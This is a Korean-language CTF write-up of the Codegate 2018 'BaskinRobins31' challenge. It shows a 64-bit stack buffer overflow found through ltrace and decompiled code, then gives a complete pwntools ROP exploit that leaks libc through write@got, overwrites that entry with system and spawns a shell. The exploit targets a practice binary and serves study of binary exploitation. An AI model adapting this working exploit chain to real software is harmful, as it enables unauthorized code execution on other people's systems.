본문 바로가기

CTF_Write_UP

[Codegate 2018] BaskinRobins31

시작

안녕하세요!! :D

64 bit 에서의 ROP를 공부하던 중 코드게이트 문제가 있어서 바로 풀어봤습니다.

처음 포너블을 공부할 땐

내가 코드게이트나 데프콘에 출제된 문제들을 풀 수 있을까..란 생각 뿐이었는데

뭐라도 끄적거리고 있는 제 모습을 보니 삽질한 보람이 있구나!! 라고 느낀 이번 주말이었습니다.

바로 시작해봐요 ㅎㅎ

Write UP

root@goorm:/tmp/CODEGATE_2018# ./BaskinRobins31
### This game is similar to the BaskinRobins31 game. ###
### The one that take the last match win ###
There are 31 number(s)
How many numbers do you want to take ? (1-3)
1
1

remaining number(s) : 30
I've taken 2 number(s)
remaining number(s) : 28
How many numbers do you want to take ? (1-3)
2
2

remaining number(s) : 26
I've taken 2 number(s)
remaining number(s) : 24
How many numbers do you want to take ? (1-3)
3
3

remaining number(s) : 21
I've taken 1 number(s)
remaining number(s) : 20
How many numbers do you want to take ? (1-3)
4
4

Don't break the rules...:(
remaining number(s) : 20
How many numbers do you want to take ? (1-3)

베스킨~ 라빈스~ 써리~~ 원~~ 귀엽고~ 깜찍하게~~ 써리~~ 원~

그거에요 그거

root@goorm:/tmp/CODEGATE_2018# ltrace ./BaskinRobins31
__libc_start_main(0x400a4b, 1, 0x7fff04d59578, 0x400b60 
setvbuf(0x7f42c00d8400, 0, 2, 0)                                                     = 0
setvbuf(0x7f42c00d8640, 0, 2, 0)                                                     = 0
time(0)                                                                              = 1558882429
srand(0x5ceaa87d, 0x7f42c00d99f0, 0, 0)                                              = 0
puts("### This game is similar to the "...### This game is similar to the BaskinRobins31 game. ###
)                                          = 57
puts("### The one that take the last m"...### The one that take the last match win ###
)                                          = 45
printf("There are %u number(s)\n", 31There are 31 number(s)
)                                               = 23
memset(0x7fff04d593c0, '\0', 150)                                                    = 0x7fff04d593c0
puts("How many numbers do you want to "...How many numbers do you want to take ? (1-3)
)                                          = 45
read(01
, "1\n", 400)                                                                  = 2
write(1, "1\n", 21
)                                                                   = 2
putchar(10, 0x7fff04d593c0, 2, 0x7f42bfe043c0
)                                       = 10
strtoul(0x7fff04d593c0, 0, 10, 0x7f42bfe043c0)                                       = 1
printf("remaining number(s) : %i \n", 30remaining number(s) : 30
)                                            = 26
printf("I've taken %i number(s)\n", 2I've taken 2 number(s)
)                                               = 23
printf("remaining number(s) : %i \n", 28remaining number(s) : 28
)                                            = 26
memset(0x7fff04d593c0, '\0', 150)                                                    = 0x7fff04d593c0
puts("How many numbers do you want to "...How many numbers do you want to take ? (1-3)
)

ltrace로 확인해본 결과 위와 같은 함수들이 반복되고 있네요.

IDA..는 없으니깐 가져왔습니다!

signed __int64 __fastcall your_turn(_DWORD *remain_val)

{

    signed __int64 result; // rax@2

    char s; // [sp+10h] [bp-B0h]@1

    size_t n; // [sp+B0h] [bp-10h]@1

    int input_val; // [sp+BCh] [bp-4h]@1

    input_val = 0;

    memset(&s, 0, 150uLL);

    puts("How many numbers do you want to take ? (1 - 3)");

    n = read(0, &s, 400uLL);

    write(1, &s, n);

    .

    .

    .

}

필요한 부분만 뜯어오고 나머진 생략했습니다.

s[]는 150 bytes만큼 할당되어 있는데 read()에서 400 bytes를 받네요. BOF가 일어납니다.

s[]rbp-0xb0, 즉 RET과 176 bytes만큼 떨어져 있다는 정보도 확인할 수 있었습니다.

이런 유형의 문제를 많이 봐서 그런지 Exploit 방법을 공식처럼 외워버렸습니다 ㅋㅋㅋㅋㅋ

read()/bin/sh를 넣어주고, write()로 got를 leak, system의 주소를 구한 후 got overwrite → 호출이겠네요.

 


 

32bit와 64bit는 ROP Chain을 만드는 방식이 약간 다릅니다.

32bit에선 RET에 불러올 함수의 plt를 넣고, 그 함수가 끝난 후 가리키는 eip에 가젯을 넣어서 체인을 이어나가는 방식이었지만

64bit에선 레지스터로 인자 전달을 하기 때문에 RET에 가젯을 먼저 넣어주어야 합니다.

32bit :

RET(func1@plt) | gadget | argv1 | argv2 … | func2.plt | gadget | argv1 …

64bit :

RET(gadget) | argv1 | argv2 | … | func@plt | gadget | argv1 …

위와 같이 말이죠.

Exploit 시나리오는 다음과 같습니다.

1. read()로 .bss 영역에 “/bin/sh” 삽입

2. write()로 write@got 주소 leak

3. read()로 write@got를 system 주소로 overwrite

4. write() 호출, 쉘 획득

가젯을 구해볼까요?

read()write()에 필요한 pop rdi; pop rsi; pop rdx; ret

system()에 필요한 pop rdi; ret, 두 개면 되겠네요.

root@goorm:/tmp/CODEGATE_2018# rp-lin-x64 -f ./BaskinRobins31 -r 4 | grep "pop rdi"
0x00400878: mov ebp, esp ; pop rdi ; pop rsi ; pop rdx ; ret  ;  (1 found)
0x00400877: mov rbp, rsp ; pop rdi ; pop rsi ; pop rdx ; ret  ;  (1 found)
0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ;  (1 found)
0x00400bc3: pop rdi ; ret  ;  (1 found)

딱 하나씩 있네요!! 행-복

1. pop rdi; pop rsi; pop rdx; ret : 0x40087a

2. pop rdi; ret : 0x400bc3

pwntools를 이용해 exploit.py를 짜봤습니다.

#!/usr/bin/python
#-*- coding:utf-8 -*-

from pwn import *

#context.log_level = "debug"

e = ELF("./BaskinRobins31")
l = e.libc
p = process(e.path)

pppr = 0x40087a
pr = 0x400bc3

payload = ""

#BUF + SFP
payload += "A" * 184

#read(0, .bss, len("/bin/sh"))
payload += p64(pppr)
payload += p64(0)
payload += p64(e.bss())
payload += p64(len("/bin/sh\x00"))
payload += p64(e.plt["read"])

#write(1, write@got, 8) //write leak
payload += p64(pppr)
payload += p64(1)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(e.plt["write"])

#read(0, write@got, 8) //got overwrite
payload += p64(pppr)
payload += p64(0)
payload += p64(e.got["write"])
payload += p64(8)
payload += p64(e.plt["read"])

#write -> system("/bin/sh")
payload += p64(pr)
payload += p64(e.bss())
payload += p64(e.plt["write"])

p.recvuntil(")")
p.send(payload)

p.send("/bin/sh\x00")

p.recvuntil("rules...:( \n")

libc_write = u64(p.recv(8))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]

print "libc_write : " + hex(libc_write)
print "libc_system : " + hex(libc_system)

p.send(p64(libc_system))

p.interactive()

plt, got, offset을 알아서 구해주는 pwntools 당신은 도대체.. 만드신 분 존경합니다ㅠㅠㅠ


root@goorm:/tmp/CODEGATE_2018# ./exploit.py
[*] '/tmp/CODEGATE_2018/BaskinRobins31'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/tmp/CODEGATE_2018/BaskinRobins31': pid 1586
libc_write : 0x7f4cc7c1b3b0
libc_system : 0x7f4cc7b72590
[*] Switching to interactive mode
$ whoami
root

Exploit!!

recv() 구문의 위치를 잘못 써서 1시간정도 삽질한 것 빼곤!! 깔끔하게 풀렸습니다

마무리

어느 정도 pwntools이 손에 익었습니다 ㅎㅎ.. 이 편한 것을 놔두고 pwnable.kr 풀 때 하나하나 쳤다니..

꿈에 그리던 코드게이트 문제도 하나 해결했네요. 역시 포너블은 삽질이 답입니다 :D

감사합니다!!

'CTF_Write_UP' 카테고리의 다른 글

[HSCTF 2019] Write up  (0) 2019.06.08
[2017 CSAW CTF] pilot  (0) 2019.05.30
[2019 DefCon Quals] speedrun-002  (0) 2019.05.25
[2019 DefCon Quals] speedrun-001  (0) 2019.05.23
[Plaid CTF 2013 - ropasaurusrex] rop 공룡  (0) 2019.05.15